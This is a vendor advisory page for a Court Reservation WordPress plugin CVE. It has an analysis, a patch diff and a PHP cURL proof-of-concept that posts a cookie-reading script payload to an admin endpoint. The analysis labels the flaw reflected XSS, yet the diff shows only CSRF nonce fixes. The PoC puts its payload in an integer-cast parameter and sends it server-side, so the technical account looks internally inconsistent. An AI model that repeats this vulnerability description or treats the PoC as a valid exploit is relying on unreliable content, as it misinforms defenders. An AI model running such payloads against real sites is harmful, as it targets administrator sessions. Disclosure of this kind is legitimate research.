Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68852: Court Reservation <= 1.10.8 – Reflected Cross-Site Scripting (court-reservation)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.10.8
Patched Version 1.10.9
Disclosed February 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68852:
The Court Reservation WordPress plugin version 1.10.8 and earlier contains a reflected cross-site scripting (XSS) vulnerability. This vulnerability affects multiple administrative interface components, allowing unauthenticated attackers to inject malicious scripts. The CVSS score of 6.1 reflects the medium severity of this client-side security issue.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping across multiple form submission endpoints. The vulnerable code paths include courtres-challenges.php line 31, courtres-court.php line 61, courtres-emailtemplate.php line 22, courtres-event.php line 78, courtres-events.php line 15, courtres-reservations.php line 23, courtres-settings.php line 21, and courtres-ui.php line 22. Each endpoint processes POST parameters without proper nonce verification, enabling attackers to craft malicious requests that reflect unsanitized user input back to administrators.

Exploitation requires an attacker to trick an authenticated administrator into clicking a malicious link or visiting a crafted page. The attack vector uses the plugin’s administrative endpoints with injected JavaScript payloads in POST parameters. For example, an attacker could target /wp-admin/admin.php?page=courtres-challenges with a POST request containing malicious script tags in parameters like ‘id’ or ‘delete’. The payload executes in the administrator’s browser context when the page processes the unsanitized input.

The patch adds WordPress nonce verification to all vulnerable endpoints. In courtres-challenges.php line 31-41, the code now checks for courtres_delete_challenge_nonce before processing deletion requests. Similar nonce checks appear in courtres-court.php lines 61-71 and 74-84, courtres-emailtemplate.php lines 22-32, courtres-event.php lines 78-88 and 124-134, courtres-events.php lines 16-26, courtres-reservations.php lines 33-43, courtres-settings.php lines 22-32 and 39-49, and courtres-ui.php lines 22-32. The patch also adds nonce fields to corresponding forms, such as the wp_nonce_field call in courtres-challenges.php line 72.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an authenticated administrator’s session. This can lead to session hijacking, administrative account compromise, site defacement, or injection of backdoors. The vulnerability affects the plugin’s administrative interface, giving attackers potential control over the reservation system and broader WordPress installation if administrative privileges are obtained.

Differential between vulnerable and patched code

Code Diff
--- a/court-reservation/admin/class-courtres-admin.php
+++ b/court-reservation/admin/class-courtres-admin.php
@@ -175,6 +175,11 @@
 			return $this->handleError( __( 'No permission.', 'court-reservation' ) );
 		}

+		// CSRF verification
+		if ( ! isset( $_REQUEST['courtres_add_reservation_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['courtres_add_reservation_nonce'] ) ), 'courtres_add_reservation' ) ) {
+			return $this->handleError( __( 'Security check failed.', 'court-reservation' ) );
+		}
+
 		if ( isset( $_REQUEST['delete'] ) && isset( $_REQUEST['id'] ) ) { // delete reservation
 			$reservation = $this->getReservationByID( sanitize_text_field( $_REQUEST['id'] ) );
 			if ( $reservation == null || $reservation->userid != wp_get_current_user()->ID ) {
--- a/court-reservation/admin/partials/courtres-challenges.php
+++ b/court-reservation/admin/partials/courtres-challenges.php
@@ -31,6 +31,16 @@

 	// deleting the challenge
 if ( isset( $_POST['id'] ) && isset( $_POST['delete'] ) ) {
+	if ( ! isset( $_POST['courtres_delete_challenge_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_delete_challenge_nonce'] ) ), 'courtres_delete_challenge' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}
 	$challenge_class = new Courtres_Entity_Challenges( intval( $_POST['id'] ) );
 	// first delete linked challenge event
 	global $wpdb;
@@ -72,7 +82,7 @@

 		$challenge = array_intersect_key( $challenge, $columns );

-		$challenge['action'] = ( $challenge['status'] == 'accepted' || $challenge['status'] == 'scheduled' ) ? sprintf( '<form method="POST"><input type="hidden" name="id" value="%d"><input class="button" type="submit" name="delete" value="%s"></form>', $challenge['id'], __( 'Delete', 'court-reservation' ) ) : false;  // Added delete action to accepted challenges only
+		$challenge['action'] = ( $challenge['status'] == 'accepted' || $challenge['status'] == 'scheduled' ) ? sprintf( '<form method="POST">%s<input type="hidden" name="id" value="%d"><input class="button" type="submit" name="delete" value="%s"></form>', wp_nonce_field( 'courtres_delete_challenge', 'courtres_delete_challenge_nonce', false ), $challenge['id'], __( 'Delete', 'court-reservation' ) ) : false;  // Added delete action to accepted challenges only
 	}

 	$challengesListTable = new Courtres_Base_List_Table();
--- a/court-reservation/admin/partials/courtres-court.php
+++ b/court-reservation/admin/partials/courtres-court.php
@@ -61,10 +61,30 @@
 }

 if ( isset( $_POST['delete'] ) && isset( $_POST['id'] ) && (int) $_POST['id'] > 0 ) { // delete
+	if ( ! isset( $_POST['courtres_court_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_court_nonce'] ) ), 'courtres_court' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}
 	$wpdb->delete( $table_name, array( 'id' => (int) $_POST['id'] ) );
 }

 if ( isset( $_POST['submit'] ) ) {
+	if ( ! isset( $_POST['courtres_court_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_court_nonce'] ) ), 'courtres_court' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}
 	if ( isset( $_POST['id'] ) && (int) $_POST['id'] > 0 ) { // edit
 		$wpdb->update(
 			$table_name,
@@ -280,6 +300,7 @@
   <hr class="wp-header-end">

   <form method="post">
+	<?php wp_nonce_field( 'courtres_court', 'courtres_court_nonce' ); ?>
 	<input type="hidden" name="id" value="<?php echo esc_html( $court->id ); ?>" />
 	<table>
 	  <tr>
--- a/court-reservation/admin/partials/courtres-emailtemplate.php
+++ b/court-reservation/admin/partials/courtres-emailtemplate.php
@@ -22,6 +22,16 @@
 $table_name = $this->getTable( 'settings' );

 if ( isset( $_POST['submit'] ) ) {
+	if ( ! isset( $_POST['courtres_email_template_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_email_template_nonce'] ) ), 'courtres_email_template' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}

 	if ( isset( $_POST['email_notify_players'] ) ) {
 		// Checkbox is selected
@@ -480,7 +490,7 @@
 			</h2>

 			<form method="post">
-
+				<?php wp_nonce_field( 'courtres_email_template', 'courtres_email_template_nonce' ); ?>
 				<input type="hidden" name="option_email_id" value="<?php echo esc_attr( $option_email->option_id ); ?>" />
 				<input type="hidden" name="option_email_template_id" value="<?php echo wp_kses_post( $option_email_template->option_id ); ?>" />
 				<input type="hidden" name="option_email_1_id" value="<?php echo esc_attr( $option_email_1->option_id ); ?>" />
--- a/court-reservation/admin/partials/courtres-event.php
+++ b/court-reservation/admin/partials/courtres-event.php
@@ -78,6 +78,16 @@
 }

 if ( isset( $_POST['delete'] ) && isset( $_POST['id'] ) && (int) $_POST['id'] > 0 ) { // delete
+	if ( ! isset( $_POST['courtres_event_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_event_nonce'] ) ), 'courtres_event' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}
 	$res = $wpdb->delete( $table_name, array( 'id' => (int) $_POST['id'] ) );
 	if ( $res ) {
 		$is_deleted = true;
@@ -114,6 +124,16 @@

 // submitted form >
 if ( isset( $_POST['submit'] ) ) {
+	if ( ! isset( $_POST['courtres_event_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_event_nonce'] ) ), 'courtres_event' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}
 	// declare vars
 	$is_insert_update = true;
 	$event_timestamp  = $event_date ? strtotime( $event_date ) : false;
@@ -299,6 +319,7 @@
 	<?php if ( $event->type != 'challenge' && ! $is_created && ! $is_deleted ) : ?>

 		<form method="post">
+			<?php wp_nonce_field( 'courtres_event', 'courtres_event_nonce' ); ?>
 			<input type="hidden" name="id" value="<?php echo esc_attr( $event->id ); ?>" />
 			<table class="t-form">
 				<tr>
--- a/court-reservation/admin/partials/courtres-events.php
+++ b/court-reservation/admin/partials/courtres-events.php
@@ -15,7 +15,17 @@

 <?php

-if (isset($_POST['delete_all_events']) && $_POST['delete_all_events'] == 1) {
+if ( isset( $_POST['delete_all_events'] ) && $_POST['delete_all_events'] == 1 ) {
+	if ( ! isset( $_POST['courtres_delete_all_events_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_delete_all_events_nonce'] ) ), 'courtres_delete_all_events' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}
 	$this->delete_all_events();
 }

@@ -79,6 +89,7 @@
 	<div class="cr-head-right">

 		<form id="delete_events" method="post" action="<?php echo esc_url(admin_url( 'admin.php?page=courtres-events' )); ?>">
+			<?php wp_nonce_field( 'courtres_delete_all_events', 'courtres_delete_all_events_nonce' ); ?>
 			<input type="hidden" name="delete_all_events" value="1" />
 			<p class="submit">
 				<button type="button" class="button button-primary" onclick="deleteEvents();"><?php echo esc_html__( 'Delete all events', 'court-reservation' ); ?></button>
--- a/court-reservation/admin/partials/courtres-reservations.php
+++ b/court-reservation/admin/partials/courtres-reservations.php
@@ -15,7 +15,17 @@

 <?php

-if (isset($_POST['delete_expired_reservations']) && $_POST['delete_expired_reservations'] == 1) {
+if ( isset( $_POST['delete_expired_reservations'] ) && $_POST['delete_expired_reservations'] == 1 ) {
+	if ( ! isset( $_POST['courtres_delete_expired_reservations_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_delete_expired_reservations_nonce'] ) ), 'courtres_delete_expired_reservations' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}
 	$this->delete_expired_reservations();
 }

@@ -23,6 +33,16 @@
 	wp_die();
 }
 if ( isset( $_POST['id'] ) && isset( $_POST['delete'] ) ) {
+	if ( ! isset( $_POST['courtres_delete_reservation_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_delete_reservation_nonce'] ) ), 'courtres_delete_reservation' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}
 	$this->deleteReservationByID( sanitize_text_field( $_POST['id'] ) );
 }
 ?>
@@ -63,6 +83,7 @@
 	<div class="cr-head-right">

 		<form id="delete_expired_reservations" method="post" action="<?php echo esc_url(admin_url( 'admin.php?page=courtres-reservations' )); ?>">
+			<?php wp_nonce_field( 'courtres_delete_expired_reservations', 'courtres_delete_expired_reservations_nonce' ); ?>
 			<input type="hidden" name="delete_expired_reservations" value="1" />
 			<p class="submit">
 				<button type="button" class="button button-primary" onclick="deleteExpiredReservations();"><?php echo esc_html__( 'Delete expired', 'court-reservation' ); ?></button>
@@ -156,6 +177,7 @@
 					</td>
 					<td>
 						<form method="POST">
+							<?php wp_nonce_field( 'courtres_delete_reservation', 'courtres_delete_reservation_nonce' ); ?>
 							<input type="hidden" name="id" value="<?php echo esc_attr( $item->id ); ?>"/>
 							<input class="button" type="submit" name="delete" value="<?php echo esc_attr__( 'Delete', 'court-reservation' ); ?>"/>
 						</form>
--- a/court-reservation/admin/partials/courtres-settings.php
+++ b/court-reservation/admin/partials/courtres-settings.php
@@ -21,8 +21,17 @@
 global $wpdb;
 $table_name = $this->getTable( 'settings' );

-if ( isset( $_POST['delete_all_events'] ) && $_POST['delete_all_events'] == "delete")
-{
+if ( isset( $_POST['delete_all_events'] ) && $_POST['delete_all_events'] == "delete" ) {
+	if ( ! isset( $_POST['courtres_delete_all_events_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_delete_all_events_nonce'] ) ), 'courtres_delete_all_events' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}
 	// $wpdb->query( "DELETE FROM {$this->getTable('reserv_players')} WHERE `reservation_gid` = '$gid'" );
 	$wpdb->query( "TRUNCATE `wp_courtres_events`" );
 	$wpdb->query( "TRUNCATE `wp_courtres_reserv_players`" );
@@ -30,6 +39,16 @@
 }

 if ( isset( $_POST['submit'] ) ) {
+	if ( ! isset( $_POST['courtres_delete_all_events_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_delete_all_events_nonce'] ) ), 'courtres_delete_all_events' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}
 	//echo "<pre>"; print_r($_POST); die;

 	$email_notify_players = '1';
@@ -675,6 +694,7 @@
 			</h2>

 			<form method="post">
+				<?php wp_nonce_field( 'courtres_delete_all_events', 'courtres_delete_all_events_nonce' ); ?>
 				<input type="hidden" name="option_email_id" value="<?php echo esc_attr( $option_email->option_id ); ?>" />
 				<input type="hidden" name="option_max_h_id" value="<?php echo esc_attr( $option_max_h->option_id ); ?>" />
 				<input type="hidden" name="option_half_hour_id" value="<?php echo esc_attr( $option_half_hour->option_id ); ?>" />
--- a/court-reservation/admin/partials/courtres-ui.php
+++ b/court-reservation/admin/partials/courtres-ui.php
@@ -22,6 +22,16 @@
 $table_name = $this->getTable( 'settings' );

 if ( isset( $_POST['submit'] ) ) {
+	if ( ! isset( $_POST['courtres_ui_settings_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['courtres_ui_settings_nonce'] ) ), 'courtres_ui_settings' ) ) {
+		wp_die(
+			esc_html__( 'Security check failed. Please try again.', 'court-reservation' ),
+			esc_html__( 'Error', 'court-reservation' ),
+			array(
+				'response'  => 403,
+				'back_link' => true,
+			)
+		);
+	}
 	$option_ui_link = '0';
 	if ( isset( $_POST['option_ui_link'] ) ) {
 		// Checkbox is selected
@@ -556,6 +566,7 @@
 			</h2>

 			<form method="post">
+				<?php wp_nonce_field( 'courtres_ui_settings', 'courtres_ui_settings_nonce' ); ?>
 				<input type="hidden" name="option_ui_tbl_brdr_clr_id" value="<?php echo esc_attr( $option_ui_tbl_brdr_clr->option_id ); ?>" />
 				<input type="hidden" name="option_ui_tbl_bg_clr_1_id" value="<?php echo esc_attr( $option_ui_tbl_bg_clr_1->option_id ); ?>" />
 				<input type="hidden" name="option_ui_tbl_bg_clr_2_id" value="<?php echo esc_attr( $option_ui_tbl_bg_clr_2->option_id ); ?>" />
--- a/court-reservation/courtres.php
+++ b/court-reservation/courtres.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Court Reservation
  * Plugin URI:        https://www.courtreservation.io
  * Description:       Reservation system for tennis, squash and badminton
- * Version:           1.10.8
+ * Version:           1.10.9
  * Author:            Webmühle e.U.
  * Author URI:        https://www.webmuehle.at
  * License:           GPL-2.0+
@@ -120,7 +120,7 @@
  * Start at version 1.0.4 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'Court_Reservation', '1.10.8' );
+define( 'Court_Reservation', '1.10.9' );

 require_once plugin_dir_path( __FILE__ ) . 'functions.php';

--- a/court-reservation/public/partials/courtres-public-display-full-view.php
+++ b/court-reservation/public/partials/courtres-public-display-full-view.php
@@ -173,6 +173,7 @@

 <div id="cr-dialog-reserve-<?php echo esc_attr( $courtID ); ?>" style="display:none;" class="cr-dialog-reserve" title="<?php echo esc_attr( $court->name ); ?> <?php echo esc_html__( 'Reservation', 'court-reservation' ); ?>">
 	<form id="cr-form-reserve-<?php echo esc_attr( $courtID ); ?>" class="resform" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>" method="post" >
+		<?php wp_nonce_field( 'courtres_add_reservation', 'courtres_add_reservation_nonce' ); ?>
 		<input type="hidden" name="action" value="add_reservation">
 		<input type="hidden" name="courtid" value="<?php echo esc_attr( $court->id ); ?>" />
 		<input type="hidden" name="maxhours" value="<?php echo esc_attr( $maxhours ); ?>" />
--- a/court-reservation/public/partials/courtres-public-display.php
+++ b/court-reservation/public/partials/courtres-public-display.php
@@ -89,6 +89,7 @@
 <!-- CR-DIALOG-RESERVE -->
 <div id="cr-dialog-reserve-<?php echo esc_attr( $courtID ); ?>" class="cr-dialog-reserve" title="<?php echo esc_attr( $court->name ); ?> <?php echo esc_html__( 'Reservation', 'court-reservation' ); ?>" style="display:none;">
 	<form id="cr-form-reserve-<?php echo esc_attr( $courtID ); ?>" class="resform" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>" method="post" >
+		<?php wp_nonce_field( 'courtres_add_reservation', 'courtres_add_reservation_nonce' ); ?>
 		<input type="hidden" name="action" value="add_reservation">
 		<input type="hidden" name="courtid" value="<?php echo esc_attr( $court->id ); ?>" />
 		<input type="hidden" name="maxhours" value="<?php echo esc_attr( $maxhours ); ?>" />

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68852 - Court Reservation <= 1.10.8 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-68852
 * This demonstrates reflected XSS in Court Reservation plugin <= 1.10.8
 * Targets the courtres-challenges.php endpoint
 */

$target_url = 'http://vulnerable-site.com/wp-admin/admin.php?page=courtres-challenges';

// Malicious payload to inject - this will execute when an admin views the challenges page
$payload = '<script>alert(document.cookie)</script>';

// Craft POST data with XSS payload
$post_data = array(
    'id' => '1' . $payload,  // Inject payload in ID parameter
    'delete' => 'Delete'      // Trigger deletion handler
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set headers to simulate legitimate request
$headers = array(
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code == 200) {
    echo "Request sent successfully.n";
    echo "If an admin views the challenges page, the payload should execute.n";
    
    // Check if payload appears in response (indicating reflection)
    if (strpos($response, $payload) !== false) {
        echo "Payload detected in response - vulnerability confirmed.n";
    } else {
        echo "Payload not found in response. Site may be patched or payload filtered.n";
    }
} else {
    echo "Request failed with HTTP code: $http_coden";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School